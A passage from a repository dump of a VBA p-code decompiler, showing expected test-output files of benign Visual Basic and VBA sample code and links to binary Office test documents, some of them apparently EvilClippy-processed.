= 1 To MyClasses.Count ' Remove name from the collection. 158 | MyClasses.Remove 1 ' Since collections are reindexed automatically, remove the first member on each iteration. 159 | Next 160 | End Sub 161 | 162 | 163 | 164 | Module Multiline 165 | Public Sub Main() 166 | 'Create a Random object to seed our starting value 167 | Dim randomizer As New Random() 168 | 'set our variable 169 | Dim count As Integer = randomizer.Next(0, 5) 170 | 171 | Dim message As String 172 | 173 | 'If count is zero, output will be no items 174 | If count = 0 Then 175 | message = "There are no items." 176 | 'If count is 1, output will be "There is 1 item.". 177 | ElseIf count = 1 Then 178 | message = "There is 1 item." 179 | 'If count is greater than 1, output will be "There are {count} items.", where {count} is replaced by the value of count. 180 | Else 181 | message = $"There are {count} items." 182 | End If 183 | 184 | Console.WriteLine(message) 185 | End Sub 186 | End Module 187 | 188 | 189 | 190 | Module Nested 191 | Public Sub Main() 192 | ' Run the function as part of the WriteLine output. 193 | Console.WriteLine("Time Check is " & CheckIfTime() & ".") 194 | End Sub 195 | 196 | Private Function CheckIfTime() As Boolean 197 | ' Determine the current day of week and hour of day. 198 | Dim dayW As DayOfWeek = DateTime.Now.DayOfWeek 199 | Dim hour As Integer = DateTime.Now.Hour 200 | 201 | ' Return True if Wednesday from 2 to 3:59 P.M., 202 | ' or if Thursday from noon to 12:59 P.M. 203 | If dayW = DayOfWeek.Wednesday Then 204 | If hour = 14 Or hour = 15 Then 205 | Return True 206 | Else 207 | Return False 208 | End If 209 | ElseIf dayW = DayOfWeek.Thursday Then 210 | If hour = 12 Then 211 | Return True 212 | Else 213 | Return False 214 | End If 215 | Else 216 | Return False 217 | End If 218 | End Function 219 | End Module 220 | 221 | Module SingleLine 222 | Public Sub Main() 223 | 224 | 'Create a Random object to seed our starting values 225 | Dim randomizer As New Random() 226 | 227 | Dim A As Integer = randomizer.Next(10, 20) 228 | Dim B As Integer = randomizer.Next(0, 20) 229 | Dim C As Integer = randomizer.Next(0, 5) 230 | 231 | 'Let's display the initial values for comparison 232 | Console.WriteLine($"A value before If: {A}") 233 | Console.WriteLine($"B value before If: {B}") 234 | Console.WriteLine($"C value before If: {C}") 235 | 236 | ' If A > 10, execute the three colon-separated statements in the order 237 | ' that they appear 238 | If A > 10 Then A = A + 1 : B = B + A : C = C + B 239 | 240 | 'If the condition is true, the values will be different 241 | Console.WriteLine($"A value after If: {A}") 242 | Console.WriteLine($"B value after If: {B}") 243 | Console.WriteLine($"C value after If: {C}") 244 | 245 | End Sub 246 | End Module 247 | 248 | 249 | Private Sub AddCustomer() 250 | Dim theCustomer As New Customer 251 | 252 | With theCustomer 253 | .Name = "Coho Vineyard" 254 | .URL = "http://www.cohovineyard.com/" 255 | .City = "Redmond" 256 | End With 257 | 258 | With theCustomer.Comments 259 | .Add("First comment.") 260 | .Add("Second comment.") 261 | End With 262 | End Sub 263 | 264 | Public Class Customer 265 | Public Property Name As String 266 | Public Property City As String 267 | Public Property URL As String 268 | 269 | Public Property Comments As New List(Of String) 270 | End Class 271 | 272 | 273 | Dim theWindow As New EntryWindow 274 | 275 | With theWindow 276 | With .InfoLabel 277 | .Content = "This is a message." 278 | .Foreground = Brushes.DarkSeaGreen 279 | .Background = Brushes.LightYellow 280 | End With 281 | 282 | .Title = "The Form Title" 283 | .Show() 284 | End With 285 | 286 | 287 | Dim Msg 288 | Err.Clear 289 | On Error Resume Next 290 | Err.Raise 6 ' Generate "Overflow" error. 291 | If Err.Number <> 0 Then 292 | Msg = "Press F1 or HELP to see " & Err.HelpFile & " topic for" & _ 293 | " the following HelpContext: " & Err. HelpContext 294 | MsgBox Msg, , "Error: " & Err.Description, Err.HelpFile, _ 295 | Err.HelpContext 296 | End If 297 | 298 | Private Sub PrintError() 299 | Dim ErrorNumber As Long, count As Long 300 | count = 1: ErrorNumber = 1 301 | On Error GoTo EOSb 302 | Do While count < 100 303 | Do While Error(ErrorNumber) = "Application-defined or object-defined error": ErrorNumber = ErrorNumber + 1: Loop 304 | Debug.Print count & "-Error(" & ErrorNumber & "): " & Error(ErrorNumber) 305 | ErrorNumber = ErrorNumber + 1 306 | count = count + 1 307 | Loop 308 | EOSb: Debug.Print ErrorNumber 309 | End Sub 310 | 311 | 312 | Dim lst As New List(Of String) _ 313 | From {"abc", "def", "ghi"} 314 | 315 | ' Iterate through the list. 316 | For Each item As String In lst 317 | Debug.Write(item & " ") 318 | Next 319 | Debug.WriteLine("") 320 | 321 | Dim numberSeq() As Integer = 322 | {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12} 323 | 324 | For Each number As Integer In numberSeq 325 | ' If number is between 5 and 7, continue 326 | ' with the next iteration. 327 | If number >= 5 And number <= 8 Then 328 | Continue For 329 | End If 330 | 331 | ' Display the number. 332 | Debug.Write(number.ToString & " ") 333 | 334 | ' If number is 10, exit the loop. 335 | If number = 10 Then 336 | Exit For 337 | End If 338 | Next 339 | Debug.WriteLine("") 340 | ' Output: 1 2 3 4 9 10 341 | 342 | 343 | Public Function GetAgePhrase(ByVal age As Integer) As String 344 | If age > 60 Then Return "Senior" 345 | If age > 40 Then Return "Middle-aged" 346 | If age > 20 Then Return "Adult" 347 | If age > 12 Then Return "Teen-aged" 348 | If age > 4 Then Return "School-aged" 349 | If age > 1 Then Return "Toddler" 350 | Return "Infant" 351 | End Function 352 | 353 | 354 | Dim threeDimArray(9, 9, 9), twoDimArray(9, 9) As Integer 355 | Erase threeDimArray, twoDimArray 356 | ReDim threeDimArray(4, 4, 9) 357 | 358 | On Error Resume Next ' Defer error handling. 359 | Error 11 ' Simulate the "Division by zero" error. 360 | 361 | 362 | Delegate Function MathOperator( 363 | ByVal x As Double, 364 | ByVal y As Double 365 | ) As Double 366 | 367 | Function AddNumbers( 368 | ByVal x As Double, 369 | ByVal y As Double 370 | ) As Double 371 | Return x + y 372 | End Function 373 | 374 | Function SubtractNumbers( 375 | ByVal x As Double, 376 | ByVal y As Double 377 | ) As Double 378 | Return x - y 379 | End Function 380 | 381 | Sub DelegateTest( 382 | ByVal x As Double, 383 | ByVal op As MathOperator, 384 | ByVal y As Double 385 | ) 386 | Dim ret As Double 387 | ret = op.Invoke(x, y) ' Call the method. 388 | MsgBox(ret) 389 | End Sub 390 | 391 | Protected Sub Test() 392 | DelegateTest(5, AddressOf AddNumbers, 3) 393 | DelegateTest(9, AddressOf SubtractNumbers, 3) 394 | End Sub 395 | 396 | 397 | 398 | 399 | Public Function GetFolders() As String 400 | ' Create a new StringBuilder, which is used 401 | ' to efficiently build strings. 402 | Dim sb As New System.Text.StringBuilder 403 | 404 | Dim dInfo As New System.IO.DirectoryInfo("c:\") 405 | 406 | ' Obtain an array of directories, and iterate through 407 | ' the array. 408 | For Each dir As System.IO.DirectoryInfo In dInfo.GetDirectories() 409 | sb.Append(dir.Name) 410 | sb.Append(Microsoft.VisualBasic.ControlChars.CrLf) 411 | Next 412 | 413 | Return sb.ToString 414 | End Function 415 | 416 | 417 | 418 | Imports systxt = System.Text 419 | Imports sysio = System.IO 420 | Imports ch = Microsoft.VisualBasic.ControlChars 421 | 422 | Public Function GetFolders() As String 423 | Dim sb As New systxt.StringBuilder 424 | 425 | Dim dInfo As New sysio.DirectoryInfo("c:\") 426 | For Each dir As sysio.DirectoryInfo In dInfo.GetDirectories() 427 | sb.Append(dir.Name) 428 | sb.Append(ch.CrLf) 429 | Next 430 | 431 | Return sb.ToString 432 | End Function 433 | 434 | 435 | Class simpleMessageList 436 | Public messagesList() As String = New String(50) {} 437 | Public messagesLast As Integer = -1 438 | Private messagesLock As New Object 439 | Public Sub addAnotherMessage(ByVal newMessage As String) 440 | SyncLock messagesLock 441 | messagesLast += 1 442 | If messagesLast < messagesList.Length Then 443 | messagesList(messagesLast) = newMessage 444 | End If 445 | End SyncLock 446 | End Sub 447 | End Class 448 | 449 | 450 | Public Class doubleMessageList 451 | Inherits simpleMessageList 452 | ' Add code to override, overload, or extend members 453 | ' inherited from the base class. 454 | ' Add new variable, property, procedure, and event declarations. 455 | Public Sub Coucou() 456 | X=3 457 | End Sub 458 | End Class 459 | 460 | Public Sub RunSample() 461 | Try 462 | CreateException() 463 | Catch ex As System.IO.IOException 464 | ' Code that reacts to IOException. 465 | Catch ex As NullReferenceException 466 | MessageBox.Show("NullReferenceException: " & ex.Message) 467 | MessageBox.Show("Stack Trace: " & vbCrLf & ex.StackTrace) 468 | Catch ex As Exception 469 | ' Code that reacts to any other exception. 470 | End Try 471 | End Sub 472 | 473 | Private Sub CreateException() 474 | ' This code throws a NullReferenceException. 475 | Dim obj = Nothing 476 | Dim prop = obj.Name 477 | 478 | ' This code also throws a NullReferenceException. 479 | Throw New NullReferenceException("Something happened.") 480 | End Sub 481 | 482 | Public Sub TryExample() 483 | ' Declare variables. 484 | Dim x As Integer = 5 485 | Dim y As Integer = 0 486 | 487 | ' Set up structured error handling. 488 | Try 489 | ' Cause a "Divide by Zero" exception. 490 | x = x \ y 491 | 492 | ' This statement does not execute because program 493 | ' control passes to the Catch block when the 494 | ' exception occurs. 495 | MessageBox.Show("end of Try block") 496 | Catch ex As Exception 497 | ' Show the exception's message. 498 | MessageBox.Show(ex.Message) 499 | 500 | ' Show the stack trace, which is a list of methods 501 | ' that are currently executing. 502 | MessageBox.Show("Stack Trace: " & vbCrLf & ex.StackTrace) 503 | Finally 504 | ' This line executes whether or not the exception occurs. 505 | MessageBox.Show("in Finally block") 506 | End Try 507 | End Sub 508 | 509 | Private Sub WriteFile() 510 | Using writer As System.IO.TextWriter = System.IO.File.CreateText("log.txt") 511 | writer.WriteLine("This is line one.") 512 | writer.WriteLine("This is line two.") 513 | End Using 514 | End Sub 515 | 516 | Private Sub ReadFile() 517 | Using reader As System.IO.TextReader = System.IO.File.OpenText("log.txt") 518 | Dim line As String 519 | 520 | line = reader.ReadLine() 521 | Do Until line Is Nothing 522 | Console.WriteLine(line) 523 | line = reader.ReadLine() 524 | Loop 525 | End Using 526 | End Sub 527 | 528 | Sub Main() 529 | Dim theGalaxies As New Galaxies 530 | For Each theGalaxy In theGalaxies.NextGalaxy 531 | With theGalaxy 532 | Console.WriteLine(.Name & " " & .MegaLightYears) 533 | End With 534 | Next 535 | Console.ReadKey() 536 | End Sub 537 | 538 | Public Class Galaxies 539 | Public ReadOnly Iterator Property NextGalaxy _ 540 | As System.Collections.Generic.IEnumerable(Of Galaxy) 541 | Get 542 | Yield New Galaxy With {.Name = "Tadpole", .MegaLightYears = 400} 543 | Yield New Galaxy With {.Name = "Pinwheel", .MegaLightYears = 25} 544 | Yield New Galaxy With {.Name = "Milky Way", .MegaLightYears = 0} 545 | Yield New Galaxy With {.Name = "Andromeda", .MegaLightYears = 3} 546 | End Get 547 | End Property 548 | End Class 549 | 550 | Public Class Galaxy 551 | Public Property Name As String 552 | Public Property MegaLightYears As Integer 553 | End Class 554 | 555 | Public Interface IDemo 556 | Sub DoSomething() 557 | End Interface 558 | Public Class implementIDemo 559 | Implements IDemo 560 | Private Sub DoSomething() Implements IDemo.DoSomething 561 | End Sub 562 | End Class 563 | Dim varAsInterface As IDemo = New implementIDemo() 564 | Dim varAsClass As implementIDemo = New implementIDemo() 565 | 566 | -------------------------------------------------------------------------------- /tests/output2.txt: -------------------------------------------------------------------------------- 1 | sub sub1() 2 | Dim MyTime, MyDate, MyStr 3 | MyTime = #17:04:23# 4 | MyDate = #January 27, 1993# 5 | 6 | ' Returns current system time in the system-defined long time format. 7 | MyStr = Format(Time, "Long Time") 8 | 9 | ' Returns current system date in the system-defined long date format. 10 | MyStr = Format(Date, "Long Date") 11 | 12 | MyStr = Format(MyTime, "h:m:s") ' Returns "17:4:23". 13 | MyStr = Format(MyTime, "hh:mm:ss am/pm") ' Returns "05:04:23 pm". 14 | MyStr = Format(MyTime, "hh:mm:ss AM/PM") ' Returns "05:04:23 PM". 15 | MyStr = Format(MyDate, "dddd, mmm d yyyy") ' Returns "Wednesday, Jan 27 1993". 16 | ' If format is not supplied, a string is returned. 17 | MyStr = Format(23) ' Returns "23". 18 | 19 | ' User-defined formats. 20 | MyStr = Format(5459.4, "##,##0.00") ' Returns "5,459.40". 21 | MyStr = Format(334.9, "###0.00") ' Returns "334.90". 22 | MyStr = Format(5, "0.00%") ' Returns "500.00%". 23 | MyStr = Format("HELLO", "<") ' Returns "hello". 24 | MyStr = Format("This is it", ">") ' Returns "THIS IS IT". 25 | 26 | end sub 27 | 28 | sub sub2() 29 | Dim MyString, MyNumber 30 | Open "TESTFILE" For Input As #1 ' Open file for input. 31 | Do While Not EOF(1) ' Loop until end of file. 32 | Input #1, MyString, MyNumber ' Read data into two variables. 33 | Debug.Print MyString, MyNumber ' Print data to the Immediate window. 34 | Loop 35 | Close #1 ' Close file. 36 | end sub 37 | 38 | sub sub3() 39 | Dim MyStr1, MyStr2, MyComp 40 | MyStr1 = "ABCD": MyStr2 = "abcd" ' Define variables. 41 | MyComp = StrComp(MyStr1, MyStr2, 1) ' Returns 0. 42 | MyComp = StrComp(MyStr1, MyStr2, 0) ' Returns -1. 43 | MyComp = StrComp(MyStr2, MyStr1) ' Returns 1. 44 | end sub 45 | 46 | Function MidMbcs(ByVal str as String, start, length) 47 | MidMbcs = StrConv(MidB(StrConv(str, vbFromUnicode), start, length), vbUnicode) 48 | End Function 49 | 50 | sub sub4() 51 | Dim MyString 52 | MyString = "AbCdEfG" 53 | ' Where "A", "C", "E", and "G" are DBCS and "b", "d", 54 | ' and "f" are SBCS. 55 | MyNewString = Mid(MyString, 3, 4) 56 | ' Returns "CdEf" 57 | MyNewString = MidB(MyString, 3, 4) 58 | ' Returns "bC" 59 | MyNewString = MidMbcs(MyString, 3, 4) 60 | ' Returns "bCd" 61 | end sub 62 | 63 | sub sub5() 64 | Dim MyIndex, FileNumber 65 | For MyIndex = 1 To 5 ' Loop 5 times. 66 | FileNumber = FreeFile ' Get unused file 67 | ' number. 68 | Open "TEST" & MyIndex For Output As #FileNumber ' Create file name. 69 | Write #FileNumber, "This is a sample." ' Output text. 70 | Close #FileNumber ' Close file. 71 | Next MyIndex 72 | end sub 73 | 74 | Sub ChangeFormColor(FormName As Form) 75 | FormName.BackColor = RGB(Rnd * 256, Rnd * 256, Rnd * 256) 76 | End Sub 77 | 78 | sub sub6() 79 | ChangeFormColor Me 80 | end sub 81 | 82 | 83 | -------------------------------------------------------------------------------- /tests/see_other/tests4.docm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/see_other/tests4.docm -------------------------------------------------------------------------------- /tests/see_other/tests4_EvilClippy.docm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/see_other/tests4_EvilClippy.docm -------------------------------------------------------------------------------- /tests/tests2.xlsm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/tests2.xlsm -------------------------------------------------------------------------------- /tests/tests2_EvilClippy.xlsm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/tests2_EvilClippy.xlsm -------------------------------------------------------------------------------- /tests/tests3.xlsm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/tests3.xlsm -------------------------------------------------------------------------------- /tests/tests3_EvilClippy.xlsm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/tests3_EvilClippy.xlsm -------------------------------------------------------------------------------- /tests/tests4.docm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/tests4.docm -------------------------------------------------------------------------------- /tests/tests4_EvilClippy.docm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/tests4_EvilClippy.docm --------------------------------------------------------------------------------